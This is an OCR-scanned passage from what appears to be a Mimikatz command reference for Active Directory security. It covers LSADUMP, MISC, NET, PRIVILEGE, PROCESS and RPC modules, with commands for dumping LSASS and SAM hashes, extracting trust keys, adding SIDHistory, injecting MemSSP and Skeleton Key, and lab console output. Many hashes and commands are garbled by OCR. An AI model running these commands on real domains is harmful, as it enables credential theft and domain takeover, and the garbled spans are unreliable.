e /patch — patch LSASS.

Often service accounts are members of Domain Admins (or equivalent) or a Domain Admin was recently logged
on to the computer an attacker dump credentials from. Using these credentials, an attacker can gain access to a
Domain Controller and get all domain credentials, including the KRBTGT account NTLM hash which is used to

create Kerberos Golden Tickets.
Command: mimikatz Isadump::Isa /inject exit

Dumps credential data in an Active Directory domain when run on a Domain Controller.

Requires administrator access (with debug rights) or Local SYSTEM rights

The account with RID 502 is the KRBTGT account and the account with RID 500 is the default administrator for

the domain.

62-4185879466-36969059401

RID A
User : RDAdministrator

3 Frimary

M ; 7c0Bd63a2f48f045971bc2236ed3T 3ac

* WDigest
01 bjeus4fbj jnd jbufdfﬂjdsffc4
02 4144 b; LLEEGbcc.djd
03 F
04 f679b3e684
05 dcaﬂbigﬂfduﬁh134d[
06 968edd04b2cB522c7
07 b41dzZ2B0T6bsedbZ2abed
08 83dl8fbl8doldbeScds 5
09 560ff912f8d8387a3didleeebiastalb
10 42 Eaausclhdcedc144Lu 686000629
11 9 e46315d3a9488a04b70adTdd9b
12 83d18fbl8d9ldbesc48c0993015bbaTd
13 eBdS6e7dlc98Tbd73c3bbd9d4335b52e
14 3defcf58a243chb8cid2dadBeldd26t2el
15 c9cd4ced0esBca’ddf7T8deb0by71dedc
16 BededdDB026cabbaldac3gb3ifalad4as0
17 04019d0035b037c2340721bcedfTads
18 edb557be36alzesald32c14b0co07071
19 006beddfdi7al3eerdd8690826TT01E5
20 44d1aB58df09dizadc3iaalsidbadctdb
21 5324ef16d0cBeal3iibd6ccOesds Fdlab
22 7 cflec? 1d4dchaD5141dbeqEE
23 i 5dbag7283d26ddc540187eerd
24 T413b6ctadb2des007dd21e909
25 4751d4eb50d71adecds9aac3edaadsdo
26 eBl0cl3Z2e2]13aeB3Fl2 Ebelesu55b01+
27 0Ded3d1s -jEEEb4h201E1TEd1““'
28 14cac5ae547459d5 c9daacBef
29 d14452ddfe0a9e2675Fd5e37cl4f12b7

* Kerberos

Default Salt : RD.ADSECURITY.ORGAdmInistrator
Credentials

des_chc_md5 : 01438092199

rcd_plain : 7c08de3azf458f045971bc2236ed3f3ac
0ldCredentials

des_chc_md5 : 5d8cfedsadaddacd

rcd_plain : 96ae?23%9aelfBf186a205b6863a3cas5T

Here’s the result when running LSADUMP::lsa /patch which only dumps the NTLM password hashes.
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e Administrator: Windows Powd
File Edit View Tools Debug Add-ons Help

= B & = ! B« 8 B

Invoke-Mimikatz.ps1 X

::; Invoke-Mimikatz -command '"privilege::debug" "lsadump::samrpc /patch"’

< m

Privilege "20° OK

mimikatz(powershell) # lsadump::samrpc /patch
Domain : ADSECLAB / 5-1-5-21-1473643419-774954089-2222329127

RID : 000001f4 (500)

User : Administrator

LM .

NTLM : &6F40d9clcab7f73d298dc3d94163543d

RID : 000001f5 (501)
: Guest

: 000001f6 (502)
: krbtgt

7e2alde20851d0229F2489210b65 76ede

: 000003e8 (1000)
admin

7c08d63a2fa48f045971bc2236ed3f3ac

: 00000452 (1106)
: LukeSkywalker

77af8ab46321ceef22b4e83i76f2dbar

: 00000453 (1107)
: HanSolo

269c0c63a623b2e062dfd861c9b82818

: 00000454 (1108)
JoeUser

LSADUMP::NetSync

NetSync provides a simple way to use a DC computer account password data to impersonate a Domain Controller

via a Silver Ticket and DCSync the target account’s information including the password data.

LSADUMP::RpData

LSADUMP::SAM - get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to
the local Security Account Manager (SAM) database and dumps credentials for local accounts.

Requires System or Debug rights.

It contains NTLM, and sometimes LM hash, of users passwords. It can work in two modes: online (with SYSTEM

user or token) or offline (with SYSTEM & SAM hives or backup).

Requires administrator access (with debug rights) or Local SYSTEM rights when run against an online SAM.
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Getting an impersonated SYSTEM token: Mimikatz “PRIVILEGE::Debug” “TOKEN::elevate”

ad3eeef5c9bl3vod2
21-3017930946-152

0000014

Administr
4771c80c83293bebi82ch621a6alaite

000001fs (501)

LSADUMP::Secrets — get the SysKey to decrypt SECRETS entries (from registry or hives).
Requires System or Debug rights.

Local name :
Domain name :

.-[glcbbcili—b 66 2
565 -cbf4-90bdd79a5202} 11b-4b4“1b1’1’54c94b‘41"‘5b69h1 8f913fFb9b113c9b1fe355d4T 30155 7aceald

CHINE. ACC
WL QE1+06KgoEdX —uph 5, =N 7 ‘SF* 3:cgV 50mIWpOulrs 'rON ,GZeeq; RO U whiwm= 1

El-q-ibfll 70dc4dfas3if2ly 1'C1'bl:|l:|..

<50mIWp0u] r5f%=, ;RE" FU"wbwmn> 15z

14
19c0chef0186b7eeebaedb306e912

: DefaultP:
ROOT#123
ROOT#123

: DPAPI STEM
: 01 00 00 bf 96 8e ef Ob 59 7c 6b e4 8b 62 12 9f c0 11 c3 ac 88 9a f1 b0 0d a9 e3 b5 7f 2b ce c6
69 el od f0O

52 "91’:011:53c‘35931'1b[|-[h:|asejbf & 5082d169e10df0O
52129 3 1 Gth:lasejb 8708a3 2d169 f
01 00 00 OO0 82 58 84 d1 a9 33 60 a6 37 f6 79 0d 70 9 ae 28 76 24 43 44 86 69 55 be bD 41 a9 <
: 54 a6 d3 99
: B 84d1a93360: 486 eb041a94a95e5 904 64a26d399

: 825884d1a93360: 28 434 55beb041a94a95e5 204 64a6d399

: NL3EM
Jhex fa 5e ad c2 d0 94 3d 7e le 2a b5 b0 8 ea 9c 48 58 3c 1b cb Ob b9 b3 71 63 3 58 18
8d 0b d1 26 5F 07 82 ad 97 d6 7a 2e 3c la a9 ca 36 58 27 0d f1 a2 02 88 23 17 13

LSADUMP::SetNTLM — Ask a server to set a new password/ntlm for one user.

LSADUMP::Trust — Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly).

Requires System or Debug rights.

Extracts data from Active Directory for existing trust relationships for the domain. The trust key (password) is

displayed as well.
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mimikatz(commandline) # lsadump::trust /patch

urrent domain: LAB.ADSECURITY.ORG (Al 0191-140008446-3268284411)
21-135380161-102191138-581311202)
3 C . ORG
7 PM - CLEAR aa 4f 45 3 8a 7a 07 69 99 ad 2 ¢
8c 32 db c5 b9 48 dé Oc 4c 74 83 bc 38 2d 0
be 6C &2 92 6l 81 1b 2d c6 f5 44 01 5e ec f

99

3f

&d :
.;5 3

Oe 4

ds

58
ba &
2 2a 4a

16
&d

c0 fe 22

14: ch

6F

n:Ib-:IjGiEG eb4ed2e0c5838885a090¢C
6a5ab
aZzadefe6 g Fh 43d5 Tan:l 03

> LAB. # . ORG
7 PM - CLEAR 4f 45 3 8a 7a 07 69 99 a0 f2 &f
c 10 8c 32 db <5 : 0Oc 4c 7 3 3 3

06 be 10 6C &2 92 6 81 1b 2
91 8d & 8 68 2d c3 a 3 58 28 16 ea
89 a5 3a ¢ bc 3 e | ; 6d ca 5 86 4b 7
4e 0 2f I8 7 5 a 2?6 54 7 f5 71 f
39 38 3 7 9d 46 9 F
Ej4cecbclc-:|5191'
238428F3e950c5 0b

11 4 [
7 bsbb'rl'j'r a0eed2dfe9c8r4327

. ORG
f 45 f3 Ba 7: 7 69 99 ;
0c 4c 74 .' 38
81 1b 2 f5 44 01
3 58
ba
2a 4
cEr : ch

7 PM - CLEAR - 65 aa 4f 45 3 8a 7a 07 69 99
0 8c 32 db 43 dé dc 74 83 38

be
99

ac

3f i
Oe 4

ds

01
58
ba

2 2a 4
cO

3a 3
1lc 4
al 8z
7 do 6

hsbh‘rlﬂ Lacl-um:lu:l‘t'esc
a _hmac
rcd_hmac_nt

MISC

The MISC Mimikatz module is kind of a catch-all for commands that don’t quite fit elsewhere.
The most well known commands in this module are MISC::AddSID, MISC::MemSSP, and MISC::Skeleton.

MISC::AddSid — Add to SIDHistory to user account. The first value is the target account and the second value is
the account/group name(s) (or SID).

Requires System or Debug rights.

NOTE: ADDSID has moved to the SID module in the 2.1 release branch.
"privilege: :debug” "misc::addsid bobafett ADSAdministrator *
release "Kiwl C" (May 29 2015
Een1am n DELPY "“gentilki

#2 v 22’ http blog. gentilkiwi. co

"R n1th 15 modules

privilege: :debug

mimikatz(commandline)

dministrator
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Ps C:hZtemp'\mimikatz> get-aduser bobafett -propertiez =idhistory,memberof

DistinguishedName : CN=BobaFett,CN=Users,D{=1ab,l=adsecurity,DC=0rg
Enabled : True

z1venName :

Memberof : {7}

obaFett

] 3 4n:lleuc[r 82a8-469T-b243-8602300e2dbe
SamAccountMame : BobaFett
D ] 5-21-15837 91-140008446-3268284411-3103
DHistory : -5-21-158 191-140008446-3268284411-5007
Jrname :
UzerPrincipalName : BobaFett@lab.adsecurity.org

MISC::Cmd — Command Prompt (without DisableCMD).

Requires Administrator rights.

C # misc::ond
a‘tch 0K for "cmd.exe' from 'DisableCMD’ to "KiwiAndCMD' @ O0007FF&3ES0EGED

mimikatz #

Administrator: CA\Windows\SYSTEM32\cmd.exe

icrozoft Windows [Verszion 6.3.7688]
Cc>» 2013 Microsoft Corporation. All rights reserved.

sstempamimikatzr

MISC::Compressme — Compresses Mimikatz file to a new file called “mimikatz_x64.compressed”

mimikatz # misc:icompressme
Using 'c: \Temp\lilmlkat*\mlmlkah exe' as input file
% Original size 3

¥ Compr‘esued sre. 2292’31 (52, 98x%)
Using "mimikatz_x64.compressed’ as output file... OK!

MISC::Detours — (experimental) Try to enumerate all modules with Detours-like hooks

Requires Administrator rights.
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mimikatz # misc::comd
Patch OK for "omd.exe' from 'DisableCMD’ to "KiwiAndCMD' @ 7FF&3E20EGED

i :detours
sc_detours_callback_process ; OpenProcess

_detours_callback_process ; OpenProcess (0x00000005)

wininit. ex 3
services. exe [ ) i '
ERRGR Luh] _m _detours_callback_process ; OpenProcess (0x00000005)

MISC::MemSSP — Inject a malicious Windows SSP to log locally authenticated credentials by patching LSASS
in memory with new SSP — no reboot required (rebooting clears the memssp Mimikatz injects). This post on

Mimikatz SSP describes in-memory patching as well as more persistent SSP techniques.

Requires Administrator rights.

P8 C:x> cistempamimikatzsmimikatz “privilege: tdebug misc: memssp'’
LG, mimikatz 2.8 alpha <x64> release "Hiwi en C" (Jun 29 2015 AA:=28:-32>
S O HE.
it ~ ~ i = o= =
i ~ -~ i Benjamin DELPY ‘gentilkiwi® ¢ benjaminfgentilkiwi.com »
‘HE v B http: blog.gentilkiwi.com mimikat= Coe.eor
' iaaan’ with 16 modules = = =~

mimikatz(commandline> # privilege: debug
Privilege 'ZA* 0K

mimikatz{commandline} # mizc::memzsszsp
Injected =>

Mandiant presentation on MemSSP

MISC::MFLT - Gathers details on loaded drivers, including driver altitude.
Available starting with Mimikatz v2.1.1 (11/28/2017).
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mimikatz # misc::mflt
4 328010 WdFilter
244000 storqosflt
189900 wcifs

141100 FileCrypt
135000 luafv
46000 npsvctrig
40700 Wof

MISC::Ncroutemon — Juniper Manager (without DisableTaskMgr)

MISC::Regedit — Registry Editor (without DisableRegistryTools)

Requires Administrator rights.

mimikatz # misc::regedit
Patch OK for 'regedit.exe' from 'DisableRegistryTools' to 'KiwiAndRegistryTools' @ 00007FF716C714C8

E: | Registry Editor
File Edit View Favorites Help
4 & Computer Name Type Data

HKEY_CLASSES_ ROOT
HKEY CURRENT_USER
HKEY_LOCAL MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG

Computer

MISC::Skeleton — Inject Skeleton Key into LSASS process on Domain Controller.

Requires Administrator rights.

This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton
Keys) as well as their usual password.
P8 C:=x2 caistempswmimikatzsmimikatz “'privilege: idebug' “misc::iskeleton’ exit

G mimikatz 2.8 alpha <x64> release "Kiwi en C" (Jun 29 2015 BA:-28:-32>
HHE .
it ~ ~ = = =
i -~ ~ #t Benjamin DELPY ‘“gentilkiwi® ¢ benjaminPgentilkiwi.com »
‘HiE v H#E http-ssblog.gentilkiwi.comsmimikatz= Coe.eol
* with 16 modules = = =~

mimikatz{commandline> # privilege::-debuy
Privilege *28*' 0K

mimikatz<commandline? # misc::skeleton
[KDC]1 data

[EDC] struct

[KDC]1 keys patch OK

[RC4]1 functions

[RC41 init patch OK

[RC4]1 decrypt patch 0K

mimikatz<commandline? # exit
Byet
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MISC::Taskmgr — Task Manager (without DisableTaskMgr).

Requires Administrator rights.

mimikatz # misc::taskmgr
Patch OK for 'taskmgr.exe' from 'DisableTaskMgr' to "KiwiAndTaskMgr' @ 00000000FF716708

‘8 Windows Task Manager E\

File Options View Windows Help

Applications | Processes | Services I Performance i Metworking i Lsers |

-

Task Status
Qmimikau 2.0 alpha x64 (pe.eo) Running

End Task ] I Switch To J ’ New Task...

Processes: 35 CPU Usage: 0% Physical Memory: 77%

MISC::Wifi —
No longer in MISC. Likely moved to DPAPI:Wifi which may include similar functionality.

MISC::WP

MINESWEEPER

MINESWEEPER::Infos — Provide mine info in minesweeper

Net

NET::Alias
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mimikatz # net::alias

Domain name : Builtin
Domain SID : S-1-5-32

579 Access Control Assistance Operators
544 Administrators

| 5-1-5-21-2362576206-1454450674-1871572685-500
551 Backup Operators

574 Certificate Service DCOM Access

569 Cryptographic Operators

562 Distributed COM Users

573 Event Log Readers

546 Guests

| $-1-5-21-2362576206-1454450674-1871572685-501
578 Hyper-V Administrators

568 IIS_TUSRS

| 5-1-5-17

556 Network Configuration Operators

559 Performance Log Users

558 Performance Monitor Users

547 Power Users

550 Print Operators

576 RDS Endpoint Servers

577 RDS Management Servers

575 RDS Remote Access Servers

555 Remote Desktop Users

586 Remote Management Users

552 Replicator

582 Storage Replica Administrators

581 System Managed Accounts Group

| 5-1-5-21-2362576206-1454450674-1871572685-503
545 Users

| 5-1-5-4

| s-1-5-11

Domain name : MimiTestl
Domain SID : $-1-5-21-2362576206-1454450674-1871572685

NET::Group
mimikatz # net::group

Domain name : Builtin
Domain SID : S-1-5-32

Domain name : MimiTestl

Domain SID : S-1-5-21-2362576206-1454450674-1871572685

513 None

| s8¢  adsadmin (User)
| 501 Guest (User)

| 583 DefaultAccount (User)

NET::ServerInfo
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mimikatz # net::ServerlInfo
platform_id: 5ee
name : MimiTestl

: 10.0

: PPRR9003 - workstation ; server ; nt ; server_nt ;

NET::Session

NET::Share
mimikatz # net::share

ADMIN$

80000000 - disktree ; special ;
0/4294967295

C:\Windows

c$
80000000 - disktree ; special ;
0/4294967295

C:\

D$

80000000 - disktree ; special ;
0/4294967295

D:\

IPC%
80000003 - ipc ; special ;
0/4294967295

NET::Stats

mimikatz # net::stats
LanmanWorkstation StatisticsStartTime: 11/28/2017 2:11:51 AM

NET::TOD

mimikatz # net::tod

Remote time (local): 11/28/2017 4:17:47 AM

NET::User
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mimikatz # net::user

Domain
Domain

name : ADSECLAB®@
SID : §-1-5-21-186993273-1316126705-865754954
Administrator
Schema Admins
Domain Admins
Domain Users
Group Policy Creator Qwners
Enterprise Admins
Administrators
Guest
Domain Guests

krbtgt

2 Domain Users
57 enied RODC Password Replication Group

1608 ADS@DCAL$

| 516 Domain Controllers

1183 ADS@DCOZS$

| 515 omain Computers

%154 ADSOWKMINTS

215  Domain Computers

NET::WSession
mimikatz # Net::WSession

Username : adsadmin
Domain : MimiTestl
LogonServer: MimiTestl

PRIVILEGE

PRIVILEGE::Backup — get backup privilege/rights. Requires Debug rights.

mimikatz # privilege: :backup

Privilege '17' OK

PRIVILEGE::Debug — get debug rights (this or Local System rights is required for many Mimikatz commands).
By default, the Administrators group has Debug rights. Debug still has to be “activated” by running
“privilege::debug”.

The debug privilege allows someone to debug a process that they wouldn’t otherwise have access to. For example,
a process running as a user with the debug privilege enabled on its token can debug a service running as local
system.

http://msdn.microsoft.com/library/windows/hardware/ff541528.aspx

mimikatz # privilege: :debug

Privilege '20" OK

Benjamin’s Remark:
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061 means that the required privilege is not

held by the client (mostly you’re not an administrator :smirk:)
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PRIVILEGE::Driver — get driver privilege/rights. Requires Debug rights.

PRIVILEGE::ID — get privilege/rights by its ID. Requires Debug rights.

PRIVILEGE::Name — get privilege/rights by its name. Requires Debug rights.

PRIVILEGE::Restore — get restore privilege/rights. Requires Debug rights.

PRIVILEGE::Security — get security privilege/rights. Requires Debug rights.

PRIVILEGE::SysEnv — get privilege/rights to manage system environment. Requires Debug rights.
PRIVILEGE:: TCB — get TCB privilege/rights(likely act as part of the operating system right). Requires elevated
rights (still TBD).

PROCESS

The Mimikatz PROCESS module provides the ability to gather data on processes and interact with processes.

PROCESS::Exports — list exports

Page 43 of 79



https://adsecurity.org/?page_id=1821

mimikatz # process::exports

mimikatz.exe
ntd11.d11

00007FFBEF128338
00007FFBEF12833C
00007FFBEF128340
00007FFBEF128344
00007FFBEF128348
00007FFBEF12834C
00007FFBEF128350
00007FFBEF128354
00007FFBEF128358
00007FFBEF12835C
00007FFBEF128360
00007FFBEF128364
00007FFBEF128368
00007FFBEF12836C
00007FFBEF128370
00007FFBEF128374
00007FFBEF128378
00007FFBEF12837C
00007FFBEF128380
00007FFBEF128384
00007FFBEF128388
00007FFBEF12838C
00007FFBEF128390
00007FFBEF128394
00007FFBEF128398
00007FFBEF12839C
00007FFBEF1283A0
00007FFBEF1283A4
00007FFBEF1283A8
00007FFBEF1283AC
00007FFBEF1283B0
00007FFBEF1283B4
00007FFBEF1283B8
00007FFBEF1283BC
00007FFBEF1283C0
00007FFBEF1283C4
00007FFBEF1283C8
00007FFBEF1283CC
00007FFBEF1283D0
00007FFBEF1283D4
00007FFBEF1283D8
00007FFBEF1283DC
00007FFBEF1283E0
00007FFBEF1283E4
00007FFBEF1283E8
00007FFBEF1283EC
00007FFBEF1283F0
00007FFBEF1283F4
00007FFBEF1283F8
00007FFBEF1283FC
00007FFBEF128400
00007FFBEF128404
00007FFBEF128408
00007FFBEF12840C
00007FFBEF128410
00007FFBEF128414
00007FFBEF128418
00007FFBEF12841C
00007FFBEF128420
00007FFBEF128424

LN UVTHE W

el
W= O

=
v

P
RS
OCENOUVTEWN O

PROCESS::Imports — list imports

00007FFBEF025380
00007FFBEFOESEC8
00007FFBEFOE90AS8
00007FFBEFOE9280
00007FFBEFOE9034
00007FFBEF023A38
00007FFBEFOE9068
00007FFBEF068E3C
00007FFBEF026AC4
00007FFBEF026BF8
00007FFBEF026C2C
00007FFBEF07129C
00007FFBEF075CC8
00007FFBEFOEAF30
00007FFBEFOEAF44
00007FFBEF07E3DC
00007FFBEFO7E3AQ
00007FFBEF075070
00007FFBEF08C784
00007FFBEFO7E340
00007FFBEF086808
00007FFBEF08C230
00007FFBEF078348
00007FFBEF08C690
00007FFBEF08C6A8
00007FFBEF0782F0
00007FFBEF07FC60
00007FFBEF07822C
00007FFBEF0781EC
00007FFBEF078004
00007FFBEF078058
00007FFBEF078140
00007FFBEFODA734
00007FFBEFO77EAQ
00007FFBEF050204
00007FFBEFO77E88
00007FFBEFODA754
00007FFBEF0A57C4
00007FFBEFODFAB4
00007FFBEFODA764
00007FFBEFOAC6B0
00007FFBEF0582B0
00007FFBEF058960
00007FFBEFOEAF78
00007 FFBEFOEAFCO
00007FFBEFOEB0O0OO
00007FFBEFOEBOOC
00007FFBEFODB548
00007FFBEFODB5B4
00007FFBEFODB5D8
00007FFBEFODB850
00007FFBEFODB8B4
00007FFBEFODB8CC
00007FFBEFODB930
00007FFBEFODB974
00007FFBEFODB98C
00007FFBEFODB9A8
00007FFBEF0AC6CO
00007FFBEF110B2C
00007FFBEF05F194

A_SHAFinal

A_SHAInit

A_SHAUpdate
AlpcAdjustCompletionListConcurrencyCount
AlpcFreeCompletionListMessage
AlpcGetCompletionListLastMessageInformation
AlpcGetCompletionListMessageAttributes
AlpcGetHeadersize
AlpcGetMessageAttribute
AlpcGetMessageFromCompletionList
AlpcGetoutstandingCompletionListMessageCount
AlpcInitializeMessageAttribute
AlpcMaxAllowedMessageLength
AlpcRegistercompletionList
AlpcRegisterCompletionListWorkerThread
AlpcRundownCompletionList
AlpcUnregisterCompletionList
AlpcUnregistercompletionListworkerThread
ApisetQueryApiSetPresence
CsrAllocateCaptureBuffer
CsrAllocateMessagePointer
CsrCaptureMessageBuffer
CsrCaptureMessageMultiUnicodeStringsInPlace
CsrCaptureMessageString
CsrcaptureTimeout

csrclientCallServer
CsrClientConnectToServer
CsrFreeCaptureBuffer

CsrGetProcessId
CsrIdentifyAlertableThread
csrsetPriorityClass

CsrverifyRegion

DbgBreakPoint

DbgPrint

DbgPrintEx

DbgPrintReturnControlc

DbgPrompt

DbgQueryDebugFilterState
DbgSetDebugFilterState
DbgUiConnectToDbg

DbguicContinue
DbgUiConvertStateChangeStructure
DbgUiDebugActiveProcess
DbgUiGetThreadDebugobject
DbgUiIssueRemoteBreakin
DbgUiRemoteBreakin
DbguiSetThreadDebugobject
DbgUiStopDebugging
DbgUiwaitStateChange

DbgUserBreakPoint
EtwCreateTraceInstanceId
EtwDeliverDataBlock
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mimikatz # process::imports

mimikatz.exe
00007FF64855F000
00007FF64855F008
00007FF64855F010
00007FF64855F018
00007FF64855F020
00007FF64855F028
00007FF64855F030
00007FF64855F038
00007FF64855F040
00007FF64855F048
00007FF64855F050
00007FF64855F058
00007FF64855F060
00007FF64855F068
00007FF64855F070
00007FF64855F078
00007FF64855F080
00007FF64855F088
00007FF64855F090
00007FF64855F098
00007FF64855F0A0
00007FF64855F0A8
00007FF64855F0B0
00007FF64855F0B8
00007FF64855F0CO
00007FF64855F0C8
00007FF64855F0D0
00007FF64855F0D8
00007FF64855F0EQ
00007FF64855F0E8
00007FF64855F0F0
00007FF64855FO0F8
00007FF64855F100
00007FF64855F108
00007FF64855F110
00007FF64855F118
00007FF64855F120
00007FF64855F128
00007FF64855F130
00007FF64855F138
00007FF64855F140
00007FF64855F148
00007FF64855F150
00007FF64855F158
00007FF64855F160
00007FF64855F168
00007FF64855F170
00007FF64855F178
00007FF64855F180
00007FF64855F188
00007FF64855F190
00007FF64855F198
00007FF64855F1A0
00007FF64855F1A8
00007FF64855F1B0
00007FF64855F1B8
00007FF64855F1C0
00007FF64855F1C8
00007FF64855F1D0
00007FF64855F1D8
00007FF64855F1EQ

00007FFBED02D144
00007FFBECFD1A40
00007FFBECFDEBOQ
00007FFBECFD19F0
00007FFBED02D154

> 00007FFBED00675C

00007FFBECFD1A00
00007FFBEDO2D0C4
00007FFBECFDEB50
00007FFBED02D124
00007FFBECFDEAEQ
00007FFBEBBF29EQ
00007FFBED00672C
00007FFBECFD1A20
00007FFBED00670C
00007FFBECFDEAFQ
00007FFBECFFFC48
00007FFBECFD1A10
00007FFBECFD1A30
00007FFBECFD12B0
00007FFBECFD12A0
00007FFBECFD14CC
00007FFBECFD14AC
00007FFBECFD14C0
00007FFBECFD1960
00007FFBEDO2DDES
00007FFBECFDEDDO
00007FFBECFD1270
00007FFBECFD1A54
00007FFBECFD1ACC
00007FFBECFD1250
00007FFBECFD18C0
00007FFBECFD1260
00007FFBECFD1940
00007FFBEBCOOF14
00007FFBECFD143C
00007FFBED02D1B4
00007FFBECFD1460
00007FFBECFD1470
00007FFBECFDEBFQ
00007FFBECFFF818
00007FFBECFFF848
00007FFBECFD1380
00007FFBECFD1340
00007FFBECFD1B60
00007FFBECFD1280
00007FFBECFD1290
00007FFBECFDE7F4
00007FFBECFDC530
00007FFBED02D104
00007FFBEBBF4EEQ
00007FFBEDO11E2C
00007FFBED0152C0
00007FFBED029A10
00007FFBED0298A0
00007FFBED02CD88
00007FFBED02D744
00007FFBECFDBCBO
00007FFBEDO2D5A4
00007FFBECFD18F0
00007FFBECFD1900

ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
ADVAPI32.
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CryptSetHashParam
CryptGetHashParam
CryptExportKey
CryptAcquireContextw
CryptSetKeyParam
CryptGetKeyParam
CryptReleaseContext
CryptDuplicateKey
CryptAcquireContextA
CryptGetProvParam
CryptImportKey
SystemFunction007
CryptEncrypt
CryptCreateHash
CryptGenkey
CryptDestroyKey
CryptDecrypt
CryptDestroyHash
CryptHashData

CopySid

GetLengthSid
LsaQueryInformationPolicy
LsaopenPolicy

LsaClose
CreatewellKnownSid
CreateProcesswithLogonw
CreateProcessAsUseri
RegQueryvalueExw
RegQueryInfoKeyw
RegEnumvaluew
RegOpenKeyExw
RegEnumKeyExw
RegCloseKey
RegsetvalueExw
SystemFunction032
CloseserviceHandle
DeleteService
OpensCManagerw
OpenServicew
StartServicew
QueryServiceStatusex
ControlService
IsTextUnicode
CryptGenRandom
ConvertSidTostringsidw
OpenProcessToken
GetTokenInformation
LookupAccountSidw
ConvertStringSidToSidw
CryptEnumProvidersw
SystemFunction006
CryptGetUserKey
OpenEventLogW
GetNumberOfEventLogRecords
ClearEventLogw
CreateServicew
SetServiceobjectSecurity
BuildSecurityDescriptor
QueryServiceObjectSecurity
AllocateAndInitializesid
FreeSid

PROCESS::List — List running processes

Requires Administrator rights.

Page 45 of 79


https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Process-Imports.jpg
https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Process-Imports.jpg

https://adsecurity.org/?page_id=1821

mimikatz # process::list

0 (null)
System
Smss.exe
Csrss.exe
CsSrss.exe
wininit.exe
winlogon.exe
services.exe
1sass.exe
svchost.exe
svchost.exe
LogonUI.exe
dwm. exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
Microsoft.ActiveDirectory.WebServices.exe
dns.exe
ismserv.exe
dfssvc.exe
svchost.exe
svchost.exe
svchost.exe
VSSVC.exe
msdtc.exe
dfsrs.exe
vds.exe
CSrss.exe
winlogon.exe
dwm. exe
taskhostex.exe
rdpclip.exe
explorer.exe
rdpinput.exe
ServerManager.exe
powershell.exe
conhost.exe
mmc . exe
powershell.exe
conhost.exe
WmiPrvsE. exe
powershell.exe
conhost.exe
regedit.exe
mimikatz.exe

PROCESS::Resume — resume a process

mimikatz # process::resume /pid:4020

NtResumeProcess of 4020 PID : OK !

PROCESS::Run - Run
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mimikatz # process::run calc.
Trying to start "calc.exe"...

=

View Edit Help

PROCESS::Start — start a process
PROCESS::Stop — terminate a process
PROCESS::Suspend — suspend a process

mimikatz # process::suspend /pid:4020

NtSuspendProcess of 4020 PID : OK !

RPC

The RPC module provides remote control of mimikatz.
RPC::Close

RPC::Connect
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mimikatz # rpc::connect
Remote : (null)
ProtSeq : ncacn_ip_tcp
Endpoint : (null)
Service : (null)
AuthnSvc : GSS_NEGOTIATE
NULL Sess: no
Algorithm: CALG_3DES (©0006603)
Endpoint resolution is OK
** Security Callback! **
> ServerPrincName:
> AuthnLevel : 6 - PKT_PRIVACY
> AuthnSvc : 10 - WINNT
> AuthzSvc : @
mimikatz is bound!

RPC::Enum
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mimikatz # rpc::enum
Remote : (null)
ProtSeq : ncacn_ip_tcp
AuthnSvc : GSS_NEGOTIATE
Sess: no
{d95afe70-a6d5-4259-822e-2c84dalddbed}
ncacn_ip_tcp:[49664]
{ae2dc901-312d-41df-8b79-e835e63db874} appxsvc
ncalrpc: [LRPC-af97dd2eclaedd516b]
{ffofd3c4-742e-45e0-91dd-2f5bc632aldf} appxsvc
ncalrpc: [LRPC-af97dd2eclaedd516b]
{64d1d045-1675-460b-8a94-570246b36dab} CLIPSVC Default RPC Interface
ncalrpc:[ClipServiceTransportEndpoint-00001]
{d2716e94-25cb-4820-bc15-537866578562}
ncalrpc: [OLE611721482DOB7D3CBB5FD4E25FAE ]
ncalrpc: [LRPC-2e@ef6e@7ccacedes]
{@c53aa2e-fblc-49c5-bfb6-c54f8e5857cd}
ncalrpc:[OLE611721482DOB7D3CBB5FDAE25FAE ]
ncalrpc: [LRPC-2eBef6eB7ccaceBBes]
{923c9623-db7f-4b34-9e6d-e86580f8ca2a}
ncalrpc:[OLE611721482DOB7D3CBB5FDAE25FAE ]
ncalrpc: [LRPC-2e@ef6e@7ccace@@es]
{8ec21e98-b5ce-4916-a3d6-449fa428a007}
ncalrpc: [OLEA7D79ED98AA2938C344B827990A6 ]
ncalrpc: [LRPC-d43c8acdfb26355556]
{6fc77bla-95d8-4a2e-a@cO-cff54237462b}
ncalrpc: [OLEA7D79ED98AA2938C344B827990A6 ]
ncalrpc:[LRPC-d43c8acdfb26355556]
{blef227e-dfa5-421e-82bb-67a6a129c496}
ncalrpc: [OLEA7D79EDO8AA2938C344B827990A6 ]
ncalrpc: [LRPC-d43c8acdfb26355556]
{76f226c3-ec14-4325-8a99-6a46348418af}
ncalrpc: [WMsgKRpc©24E6FO2 ]
{12e65dd8-887f-41ef-91bf-8d816c42c2e7} Secure Desktop LRPC interface
ncalrpc: [WMsgKRpc@24E6F02]
{4b112204-0e19-11d3-b42b-0000181febof}
ncalrpc: [LRPC-ba6365424e96bddcec]
{906bBCced-c70b-1067-b317-00dd010662da}
ncalrpc:[LRPC-8783ecaab6d976d795]
ncalrpc:[LRPC-8783ecaab6d976d795]
ncalrpc: [LRPC-8783ecaab6d976d795]
